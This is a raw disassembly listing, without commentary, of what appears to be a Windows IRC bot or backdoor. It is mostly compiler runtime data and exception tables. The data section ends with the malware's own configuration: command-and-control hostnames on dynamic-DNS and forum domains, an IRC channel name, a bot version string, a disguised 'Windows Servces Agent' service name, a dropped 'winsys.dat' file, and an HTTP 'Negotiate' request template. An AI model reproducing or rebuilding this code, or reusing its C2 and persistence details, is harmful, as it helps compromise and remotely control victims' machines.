[ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426DC4 cmp word ptr [esi], 0FFFFh jnz short loc_426DC4 push edi push ebx push [ebp+arg_C] call sub_41CC90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426DC6 ; --------------------------------------------------------------------------- loc_426DC4: ; CODE XREF: sub_426C13+61j ; sub_426C13+8Ej ... xor eax, eax loc_426DC6: ; CODE XREF: sub_426C13+86j ; sub_426C13+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F7Co ; FUNCTION CHUNK AT 0040D4A8 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A8 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A8 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Co mov eax, offset dword_427F50 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FACo lea ecx, [ebp-1Ch] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Eo mov eax, offset dword_427F80 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Bo mov eax, offset dword_427FB0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428010 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280CC jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280F0 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A8 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428150 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25D0000h, 25E0000h, 25F0000h, 25F0629h, 2600000h, 2600C08h dd 2610000h, 2610418h, 26104B5h, 2620000h, 2620851h, 2630000h dd 26302A7h, 2630A17h, 2630BF2h dword_42703C dd 2630C14h ; DATA XREF: ___:004231D9r dd 2630C68h, 2630F5Fh, 2640000h, 26400D8h, 2650000h, 2660000h dd 2670000h, 2670345h, 26708AAh, 77E75CB5h dword_427068 dd 26708E6h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2670C39h, 2680000h, 2690000h dword_427078 dd 2690579h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Br ... dword_42707C dd 26905D4h ; DATA XREF: ___:004015E2r ; sub_410CD5+32r dd 269074Ch dword_427084 dd 26907E6h ; DATA XREF: sub_4196BC+B9r dd 2690CB0h dword_42708C dd 2690CE2h ; DATA XREF: sub_410FF8:loc_411089r dword_427090 dd 26A0000h ; DATA XREF: ___:loc_4013DCr dd 26A0381h, 26A04DCh dword_42709C dd 26A059Eh ; DATA XREF: sub_409B12+2r dd 26A0732h, 26A079Ah dword_4270A8 dd 26A0D63h ; DATA XREF: ___:0040124Dr ; sub_41A4D1+8Cr dword_4270AC dd 26A0E69h ; DATA XREF: sub_410CD5:loc_410DC1r dd 26B0000h, 26B0B81h dword_4270B8 dd 26B0C66h ; DATA XREF: sub_409B12:loc_40A020r dword_4270BC dd 26C0000h ; DATA XREF: sub_409B12+11r ; sub_416F1A+60r ... dd 26D0000h, 26E0000h, 26E0605h, 26F0000h, 77F7E300h, 77F7E21Fh dd 26F04CCh, 26F06F1h, 2700000h, 2700834h dword_4270E8 dd 2710000h ; DATA XREF: sub_410FF8+Br dword_4270EC dd 2710A4Eh ; DATA XREF: sub_418293+36r dd 2710D21h, 2720000h dword_4270F8 dd 2720612h ; DATA XREF: sub_410F1F+3Ar ; sub_419C64+79r dword_4270FC dd 2730000h ; DATA XREF: sub_410E26+23r ; sub_419C64+3Br dd 273143Ch, 2740000h, 2740B0Ch, 2750000h, 27508E2h, 2760000h dd 2770000h, 2780000h, 2780C37h, 2790000h, 2790158h, 279027Eh dd 2790C12h, 27A0000h, 27A03F6h dword_42713C dd 27A069Dh ; DATA XREF: sub_416F1A+BCr dd 27B0000h dword_427144 dd 27C0000h ; DATA XREF: sub_4170EC+21r ; sub_417275+4Ar dword_427148 dd 27C0B4Ch ; DATA XREF: sub_4170EC+10r ; sub_417275+40r ... dd 27C0BBBh dword_427150 dd 27D0000h ; DATA XREF: sub_417275+56r dd 27D027Dh, 27E0000h, 27F0000h, 27F0754h, 27F0C7Ah, 2800000h dd 28001C9h, 28008ACh, 2810000h, 2820000h dword_42717C dd 2821017h ; DATA XREF: sub_418B58+13r ; ___:0042324Er ... dword_427180 dd 2830000h ; DATA XREF: sub_418C2A+Fr ; sub_41D834+54r ... dd 283104Eh, 283149Bh, 283191Bh, 2831D1Bh, 2840000h, 2850000h dd 2852186h, 2860000h, 2870000h, 2880000h, 2881942h, 2881957h dd 2890000h, 28A0000h, 28A01DBh dword_4271C0 dd 28A072Ah ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28A0899h ; DATA XREF: sub_41E976:loc_41E9A7r dd 28A09CFh, 28B0000h, 28B07F1h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412660+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE2+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aCyber db 'CYBER',0 ; DATA XREF: sub_401ACD+347Co ; sub_401ACD+356Co ... align 10h aCyber_0 db 'CYBER',0 ; DATA XREF: sub_401ACD+389Co ; sub_401ACD+38D2o ... align 4 aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21E+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 8 dbl_427688 dq 1.388888888888889e-2 ; DATA XREF: sub_40D030+2Fr dbl_427690 dq 1.666666666666667e-1 ; DATA XREF: sub_40D030+15r dword_427698 dd 0FFFFFFFFh ; DATA XREF: sub_40D07C+16Fr ; sub_40D4B0r ... align 10h dbl_4276A0 dq 1.333333333333333 ; DATA XREF: sub_40D07C+79r dword_4276A8 dd 0 ; DATA XREF: sub_40D21E+4Do ; sub_40D560+5Bo ... flt_4276AC dd 5.0e-1 ; DATA XREF: ___:0040DD33r dbl_4276B0 dq 9.765625e-4 ; DATA XREF: ___:004166B6r ; ___:004166D1r ... dbl_4276B8 dq -1.52587890625e-4 ; DATA XREF: sub_417ADD+3E5r dbl_4276C0 dq 3.0517578125e-4 ; DATA XREF: sub_417ADD+3C5r dbl_4276C8 dq -3.0517578125e-4 ; DATA XREF: sub_417ADD+342r ; sub_417ADD+3A7r dbl_4276D0 dq 1.52587890625e-4 ; DATA XREF: sub_417ADD+271r dbl_4276D8 dq -1.739501953125e-3 ; DATA XREF: sub_417ADD+24Br ; sub_417ADD+2D5r ... dbl_4276E0 dq 3.11279296875e-3 ; DATA XREF: sub_417ADD+E1r dbl_4276E8 dq 3.0517578125e-5 ; DATA XREF: sub_417ADD+AEr ; sub_417ADD+138r ... dbl_4276F0 dq 6.103515625e-5 ; DATA XREF: sub_417ADD+93r ; sub_417ADD+308r dbl_4276F8 dq 2.288818359375e-3 ; DATA XREF: sub_417ADD+21r dbl_427700 dq -3.0517578125e-5 ; DATA XREF: sub_418684+2Br flt_427708 dd 9.765625e-4 ; DATA XREF: sub_41A4D1+1B0r flt_42770C dd 8.0 ; DATA XREF: sub_41A4D1+1AAr flt_427710 dd 0.0 ; DATA XREF: sub_41A4D1+171r flt_427714 dd 1.0e-3 ; DATA XREF: sub_41A4D1+168r dbl_427718 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_42775C db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43C514o unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_43C510o align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43C78Co dbl_427880 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427888 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427890 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 10h aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 4 dword_4278C8 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 8 dd offset sub_422228 dd offset sub_422232 dword_4278F0 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_427900 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427910 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 10h dd offset loc_422599 dd offset loc_42259D dword_427928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 8 dd offset loc_4225EF dd offset loc_4225F3 dword_427940 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427948 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 10h aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 10h aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43C95Co db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 10h asc_427C10 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 10h a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 10h dword_427C50 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 10h aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 4 a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 10h a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 4 a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 10h dword_427CF0 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E2Ch off_427D0C dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E78 off_427D1C dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D28 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EC4 off_427D48 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F08 off_427D68 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D084o ... dd offset dword_427F38 off_427D70 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 10h dword_427D90 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DB0 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC8 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D084h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF8 dd offset off_43D09C ; DATA XREF: ___:00427E10o ; ___:00427E5Co ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF8 dd offset dword_427DC8+18h dword_427E18 dd 3 dup(0) ; DATA XREF: ___:00427E3Co dd 2, 427E10h, 3 dup(0) dd offset off_43D09C dd offset dword_427E18+4 off_427E40 dd offset off_43D0BC ; DATA XREF: ___:00427E58o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E40 dd offset off_427DF8 dd offset dword_427DC8+18h dd 0 db 0 ; DATA XREF: ___:00427E88o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 3, 427E58h dword_427E78 dd 3 dup(0) ; DATA XREF: ___:00427D18o dd offset off_43D0BC dd offset unk_427E68 off_427E8C dd offset off_43D0DC ; DATA XREF: ___:00427EA4o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E8C dd offset off_427DF8 dd offset dword_427DC8+18h dword_427EB0 dd 3 dup(0) ; DATA XREF: ___:00427ED4o dd 3, 427EA4h dword_427EC4 dd 3 dup(0) ; DATA XREF: ___:00427D44o dd offset off_43D0DC dd offset dword_427EB0+4 off_427ED8 dd offset off_43D100 ; DATA XREF: ___:00427EF0o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED8 dd 0 db 0 ; DATA XREF: ___:00427F18o db 0 db 0 db 0 db 0 db 0 db 0 db 0 dd 1, 427EF0h dword_427F08 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D100 dd offset unk_427EF8 dd offset dword_427DC8+18h dword_427F20 dd 4 dup(0) ; DATA XREF: ___:00427F48o dd 1, 427F1Ch dword_427F38 dd 3 dup(0) ; DATA XREF: ___:00427D6Co dd offset off_43D084 dd offset dword_427F20+8 align 10h dword_427F50 dd 19930520h, 2, 427F70h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F80 dd 19930520h, 2, 427FA0h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FB0 dd 19930520h, 2, 427FD0h, 1, 427FE0h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF8h, 4 dup(0) ; --------------------------------------------------------------------------- retf 40D7h ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 426E2Ah dword_428010 dd 19930520h, 1, 428008h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D084 align 8 dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D09C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D0BC align 10h dd 0FFFFFFFFh, 0 dword_428078 dd 1Ch, 426682h, 3, 428064h, 428048h, 42802Ch ; DATA XREF: ___:0042809Co dword_428090 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428078+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A8 dd 19930520h, 1, 4280A0h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280CC dd 19930520h, 1, 4280C4h, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280F0 dd 19930520h, 1, 4280E8h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D0DC align 8 dd 0FFFFFFFFh, 0 dword_428120 dd 1Ch, 4266DEh, 3, 42810Ch, 428048h, 42802Ch ; DATA XREF: ___:00428144o dword_428138 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428120+8 dd 0FFFFFFFFh, 426E72h dword_428150 dd 19930520h, 1, 428148h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_42816C dd 2, 428048h, 42802Ch ; DATA XREF: ___:00428184o dword_428178 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_42816C dd 5 dup(426C176Eh), 5 dup(2C04C300h), 5 dup(4B4199A0h) dd 7Ah dup(0) dd 4B4199A0h, 0 dd 426C176Eh, 15h dup(0) dd 2C04C300h, 2FCh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D878 dd offset sub_40D89A dd offset dword_40E504+1CFh dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Br dword_429078 dd 45h ; DATA XREF: sub_401ACD+2088r ; sub_40BACD+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C43r ; sub_40BACD:loc_40BEBEr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DCFr word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Er align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_418359+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Br ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB5+3Ar ; sub_40ACB5+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aDark db 'Dark',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A0o ... align 4 aAbosel7V4 db 'abosel7 v4',0 ; DATA XREF: sub_401ACD:loc_404945o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDBo ; sub_401ACD+7EAAo align 10h aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 4 aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E4 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aAber_ircqforum db 'aber.ircqforum.com',0 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 10h aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_429108 db 77h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 69h, 6Eh, 64h dd 72657373h, 652E6376h, 6578h dword_429118 dd 6E6E6977h, 61622E74h, 74h ; DATA XREF: ___:00411C50o aWindowsServces db 'Windows Servces Agent',0 ; DATA XREF: sub_401000+Eo align 4 asc_42913C: ; DATA XREF: ___:0040AD34o unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 